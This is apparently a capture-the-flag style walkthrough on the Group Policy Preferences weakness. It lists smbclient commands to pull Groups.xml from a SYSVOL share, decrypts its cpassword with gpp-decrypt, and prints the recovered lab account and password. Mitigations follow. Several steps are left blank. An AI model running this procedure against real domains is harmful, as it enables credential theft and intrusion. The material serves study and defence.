Group Policy Preferences (GPP) was introduced in Windows Server 2008, and among many other

features, allowed administrators to modify users and groups across their network.

Group Policy Preferences is a collection of Group Policy client-side extensions that deliver preference settings to domain-joined computers running Microsoft Windows desktop and server operating systems. Preference settings are administrative configuration choices deployed to desktops and servers. Preference settings differ from policy settings because users have a choice to alter the administrative configuration. Policy settings administratively enforce setting, which restricts user choice.

Prerequisite Fundamentals

Group Policy

Group Policy is a management technology included in Windows Server that enables you to secure computer and user settings.

SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. SYSVOL contains logon scripts, group policy data, and other domain-wide data which needs to be available anywhere there is a Domain Controller (since SYSVOL is automatically synchronized and shared among all Domain Controllers).

Group Policy object (GPO)

A Group Policy object (GPO) is a logical object composed of two components, a Group Policy container and a Group Policy template. Windows stores both of these objects on domain controllers in the domain. The Group Policy container object is stored in the domain partition of Active Directory.

Group Policy template

The Group Policy template is a collection of files and folders stored on the system volume (SYSVOL) of each domain controller in the domain. Windows copies the container and template to all domain controllers in a domain.

Source (

All domain Group Policies are stored here: \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\

Groups.xml are found in the following directory \\IP-Address-of-the-DC\sysvol\NAME\Policies any domain user can access this directory, once you get creds go to it than do a search for groups.xml The important sections in the groups.xml file are the username and cpassword

  • userName=”Administrator”
  • cpassword=”DemoHashab+5T4cr1H4gFZvD9OWzDEMO23ab5abpL6D124″

The defined password was AES-256 encrypted and stored in Groups.xml. However, at some point in 2012 Microsoft published the AES key on MSDN, meaning that passwords set using GPP are now trivial to crack.

In this scenario we found a copy of SYSVOL in a share. We will mount the share find Groups.xml, extract the password, then, crack it

Inspect the share

1. Since we found a copy of sysvol in a share we will search for Groups.xml. First, list the shares then access the desired one

  • smbclient -L //
  • smbclient //

2. Set the following parameters


3. Inspect the share

  • ls
  • cd active.htb
  • ls
  • cd Policies
  • ls

4. Now download all the files.

  • mget *

5. A new folder, named as the level you ran mget, will be created in your local computer

  • cd active.htb
  • find . -iname Groups.xml 2> /dev/null

6. Read the file and find name (user) & cpassword (password)

  • cat ./Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml

7. In our case



8. Now the password needs to be cracked.

Cracking GPP using gpp-decrypt

1. Using the tool gpp-decrypt we can reverse the encryption/hashing of GPP passwords

  • gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

2. So as per Groups xml and the result of gpp-decrypt we can say we have the following

  • Domain user: active.htb\SVC_TGS
  • Password: GPPstillStandingStrong2k18

Best Practices

XML Permission Denied Checks

  • Place a new xml file in SYSVOL & set Everyone:Deny.
  • Audit Access Denied errors.
  • Sing the associated GPO doesn’t exist, there’s no legitimate reason for access.


Group Policy Preference Exploitation Mitigation:

  • Install KB2962486 on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
  • Delete existing GPP xml files in SYSVOL containing passwords.